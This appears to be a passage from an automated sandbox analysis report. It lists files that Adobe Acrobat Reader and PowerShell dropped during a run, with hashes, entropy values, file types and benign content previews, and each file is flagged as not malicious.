C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.283802127865462
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSmz+h40kVoZcg1vRcR0YwyydoAvJf+dPeUkwRe9:YvXKXvz+hRZc0vCG28Ukee9
MD5:	769230FD75E3BAB02CF6AA974A92C874
SHA1:	BAE68826BDD4F42E2DFB80FB5094201AFDF2782E
SHA-256:	544BFC2EF2454E712122BDF98DA34E646272BAEB67EEBAD595ED94D38982278C
SHA-512:	97F261E6776CA0A13A1042BEB15BE2AC5C746810B0141AA323803F65B168B6AC4380AEA2F0059696687B166E13FD8F766F56BC44A21C531FF97B7274DC9179AF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"50fd1901-37ed-44ce-9d3e-9e81e4bbd262","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736746414170,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.280276522941025
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSmz+h40kVoZcg1vRcR0YwyydoAvJfbPtdPeUkwRe9:YvXKXvz+hRZc0vCGDV8Ukee9
MD5:	84D1EBB25D73FC8409D07F6506D97274
SHA1:	DE5EBC33A33CBE3C71EA2BC8C582BB701E146F87
SHA-256:	5D498B645E9F72FADF76FA4493C15EF621D40A41C30F9DF6227DB4DBBFF7279B
SHA-512:	7CBFA4E407D4ED23497B9399794344FB2643699BE4F49ED701DAE6200CFA86DA1B94FAF29E22B0CDD482FB06F16BC9BF392BE1CCB8B2D121C65D94AFC6BCAC5F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"50fd1901-37ed-44ce-9d3e-9e81e4bbd262","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736746414170,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.284232642563781
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSmz+h40kVoZcg1vRcR0YwyydoAvJf21rPeUkwRe9:YvXKXvz+hRZc0vCG+16Ukee9
MD5:	E490F7D8B5907B35836DC3E15AF5F4F2
SHA1:	1C9908B3A30AA6847ADE55D7AB0F2EDA36FA7E6D
SHA-256:	BD8290B02934F77171E2E8D106D180887FC6B18702380A13E49FFDE4E40CE4F2
SHA-512:	C6D71585470B3C7A255C2EA1F5289AE0B34167E0444CA680BA6764BAC3BA911B64F28B48CE3453A8F4FE3CBB97975FC5C345CA177BEEE515EF94D81CF17C72CB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"50fd1901-37ed-44ce-9d3e-9e81e4bbd262","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736746414170,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.660109257066213
Encrypted:	false
SSDEEP:	24:Yv6Xb+hRzvnamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS5:Yv/FXBgkDMUJUAh8cvM5
MD5:	00E9D87AF0D49C0F519A0F7FC828C1D8
SHA1:	6656DA325B4104FA08F0EEFB48788B5A19D5E5D2
SHA-256:	9233344A7372DAC0208740562A68E0913714CF7AB377A0AEDEEBC7D56BEB7498
SHA-512:	A9D3975A9175C17D3A757996060EBC67B7631CF7A090E2A37E6F217DAD92D88E2EE1C9483D77A472B9B5B0A1B1A989FD653DC026F457C43455B22D6DDDCD068E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"50fd1901-37ed-44ce-9d3e-9e81e4bbd262","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736746414170,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.259742707454735
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSmz+h40kVoZcg1vRcR0YwyydoAvJfshHHrPeUkwRe9:YvXKXvz+hRZc0vCGUUUkee9
MD5:	A0C84C53E4B3106E4CA2FCC112A8189A
SHA1:	75325864F6F5D02E0942133CC0442B67E735E6A5
SHA-256:	28939BDCBB7A84831A7E725E7387516AF5413C9345CBE7036FE6221CBBBCAFC5
SHA-512:	F0D5B6D62C3CE1AA01C10579151FDCAA3C61CA17DA319166347B64C374C9A25308BB96A30EB877F4389EB5C9F5E24B2619145BBFD5005AB65CD5315E0DD86474
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"50fd1901-37ed-44ce-9d3e-9e81e4bbd262","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736746414170,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.273230791842631
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSmz+h40kVoZcg1vRcR0YwyydoAvJTqgFCrPeUkwRe9:YvXKXvz+hRZc0vCGTq16Ukee9
MD5:	D7B46CE63DCB3276A6BC61C2AFD9C89F
SHA1:	4BFD2D8ABCAAC85276AA53D8C0F1D0157BC2E530
SHA-256:	53F746982A0FDBFBBB5BC0B690981F96CBAAA225DBABC6992C952F2C07B87CFE
SHA-512:	B630658A31B486A215BE75110C1D461C7D3FBEB98A34F9FF2F7CCE8DE6849D83E8171CA49C3C39D36DE3B69903B99BC74A5DF37109AAF38616C5E774D067C571
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"50fd1901-37ed-44ce-9d3e-9e81e4bbd262","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736746414170,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.141307123774505
Encrypted:	false
SSDEEP:	24:YgVVpakZQQaya1Zux2q5yodsgWvETjhJj0Sdt4/Z2DP2LS3C296/2QAp6Q6m5z9I:YwutFOyods6jL64PZ996+QFmZ9sl
MD5:	9C89942DC814E9BF9D24AFAE257737E6
SHA1:	7D2E200B3ACEAD62309CC176BCBC7C5433656D39
SHA-256:	9020A5D185B8E41CBF1E8710B51418E119E5A56BB6D71F2AE6B6D376EA9E6D29
SHA-512:	2249DD47088FE7EC2CDCD3726507E6BC6731A7B0F8691C5AFBD0EC0252A2FD575BA10A136B5A97972FB83B7ABF00E424448AA49CE3F93487FE1C26EA97BFF3B5
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"d7693c3e0f7edf5010e45405f65a2007","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736571798000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"abddf6e082272bf7f93c25373263e549","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736571798000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"baaa5e1278291b4053ea9a60ade46feb","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736571798000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"47915742593edec129161eac498c62fe","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736571798000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"6ff13470bc55dabde518c9c39e084a02","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736571798000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"0d4950eba6e6c46a4db1629909e9863f","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1888522921719715
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUU/SvR9H9vxFGiDIAEkGVvpL:lNVmswUUUUUUUU/+FGSItf
MD5:	A7D537731E757D79CC982DC670509990
SHA1:	2E8850E5C1F9BE22A7F448AAF6A4FAD6AEA28F6D
SHA-256:	321B94877A881426BEBB2712333F0CF2A2AB2C2DC4F99898EAC67068D21011FE
SHA-512:	BDF009F742F2C220DC4C7851AC3C5B2D477CB72315A1D8A1C6E112132DF1CC720402737CB755CBEBD94F6D9FF8B9F9FC5648541C8D41AB574649925BA57310DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6078996977957292
Encrypted:	false
SSDEEP:	48:7MrKUUUUUUUUUUDvR9H9vxFGiDIAEkGVvbqFl2GL7msm:7RUUUUUUUUUUTFGSItxKVmsm
MD5:	80F8CB5BD32B6B44C093E598688B3FEF
SHA1:	072E48ACE72E93395C2211831CB36ACBD877C1C5
SHA-256:	30467363352D04F9645D956A805CAD4F242F655A1A8686B73E970E3744D2AD50
SHA-512:	BEC5FDC950F5B955FBAD87EAA2F19B3B5410753C97293E9E666A291AF7848D2CD4DBE880B6AB63CEED9C8A4005447F4470EFC06F72F84073F0B923596617C505
Malicious:	false
Preview:	.... .c.....}.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgcy7ZLlzEq2G0wV6WOQ6Fff916Yyu:6a6TZ44ADEcytLlzEq2GFLWCK
MD5:	172D8DCC6CEABAC2C27E6EAD3E724FD4
SHA1:	FB9D47F700EFD9D1AC90DFBC2322B2D0A293E6DE
SHA-256:	345B6FD3C310DEF64BA44F8AF39D688BCFBEE31CC3BD2BE506090909D717EDDB
SHA-512:	857F29265A4D45BBFCB30139D1CABD743EB74E7215155640AA056C19A12CC8DD98F68E6A7B9F2DF5A28E61C59B454D42F86164CA770BA2BB70873FA22DB4B39C
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul/nq/llh:NllUyt
MD5:	AB80AD9A08E5B16132325DF5584B2CBE
SHA1:	F7411B7A5826EE6B139EBF40A7BEE999320EF923
SHA-256:	5FBE5D71CECADD2A3D66721019E68DD78C755AA39991A629AE81C77B531733A4
SHA-512:	9DE2FB33C0EA36E1E174850AD894659D6B842CD624C1A543B2D391C8EBC74719F47FA88D0C4493EA820611260364C979C9CDF16AF1C517132332423CA0CB7654
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIedc0a.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.488809521505088
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88ClMl0lH:Qw946cPbiOxDlbYnuRKdLl09
MD5:	AA34C3AD87E455DBE2A1978517C9E3EE
SHA1:	C4DC6F614F72BC618E5251DFA40A5A6C942187C2
SHA-256:	38D73AA63DC5F92DFD9354454C0F49513366C2911A2AE37B85FCF81807A6F71D
SHA-512:	1A2F792915B7EB7CBEA376AF2A50BCD4AC4FC8ACC0E7C847741817E4B8E9921C40070E64EB152AC83B3BB75CEEF3BAE5E68B95B98BB3259147CBD531B4EA3D95
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.0.:.0.3.:.2.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rwnjntn5.o0g.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zu1yw0rd.h1y.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9yqnso1_fejtmp_sk.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 00-03-13-679.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.357640750150578
Encrypted:	false
SSDEEP:	384:sC0f8+t7WlM6b1qVk+nVcVIV5lE4LS/fzPteFzhniwpQ/1UCqmWsJclV/V0V/VwI:sXx+SfFuF+9HlE
MD5:	62120659C6D58B399AF03EE4E149DDC8
SHA1:	DEEE04B79D60A61E77323823994895F3DCA9B449
SHA-256:	39CA1B1A38935DF366B743E2F3BDE53FB346598C26CCD69CB291C7F68DA1FA83
SHA-512:	3BBF56D524C6E3EC5C2C7CF6E2D4574288B316A2C640EE3F665EFCD18892235AAA89EB4237BEEDEF2B17733A90157F779CA2D6913E8157D0A52533A65B63404D
Malicious:	false
Preview:	SessionID=4dd285c3-ba08-4013-9325-2b1ddee5abf8.1736571793695 Timestamp=2025-01-11T00:03:13:695-0500 ThreadID=7900 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=4dd285c3-ba08-4013-9325-2b1ddee5abf8.1736571793695 Timestamp=2025-01-11T00:03:13:696-0500 ThreadID=7900 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=4dd285c3-ba08-4013-9325-2b1ddee5abf8.1736571793695 Timestamp=2025-01-11T00:03:13:696-0500 ThreadID=7900 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=4dd285c3-ba08-4013-9325-2b1ddee5abf8.1736571793695 Timestamp=2025-01-11T00:03:13:696-0500 ThreadID=7900 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=4dd285c3-ba08-4013-9325-2b1ddee5abf8.1736571793695 Timestamp=2025-01-11T00:03:13:696-0500 ThreadID=7900 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.387579867416341
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rX:D
MD5:	7CB23A9ACA10C22AA633B4F508546510
SHA1:	3013AD67A513D88FA7B23410FB4708D8AAEC3029
SHA-256:	CA73C60ECDDA225A3732A4967B965B0839BA6A78C319668A9DB07FA35EE39F80
SHA-512:	4848043130267C7A01E6C34A87452AB8835F1EA86D38CE8FAFC2732C4EC1BF05B384D6F7A8A926435D7C1DE759F9BC234EA83628430D896BB2FCCAC17C07A660
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\14499682-7255-4dc3-a216-62229bd4cda2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rnOWL07oYGZQeYIGNPZdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TOWLxYGZQeZGH3mlind9i4ufFXpAXkru
MD5:	4DF3EB9167FA932079F96742C37F56E2
SHA1:	DB943B52F019F419A86C637AC94D809DE845144B
SHA-256:	E3BA7B4D7F5BA4F5DB29A7DFAB356B78020070A4789DB068B9E7D69AAA9380C3
SHA-512:	4B2180F8DBAAFB65D05F1E354ACE2308ACA23D2F15C47B4141926240B689BCA643491D882E2AD1AE235C044F032B2DDAF140BD8824D67903AE2FC9ABA4F7E8F3
Malicious:	false
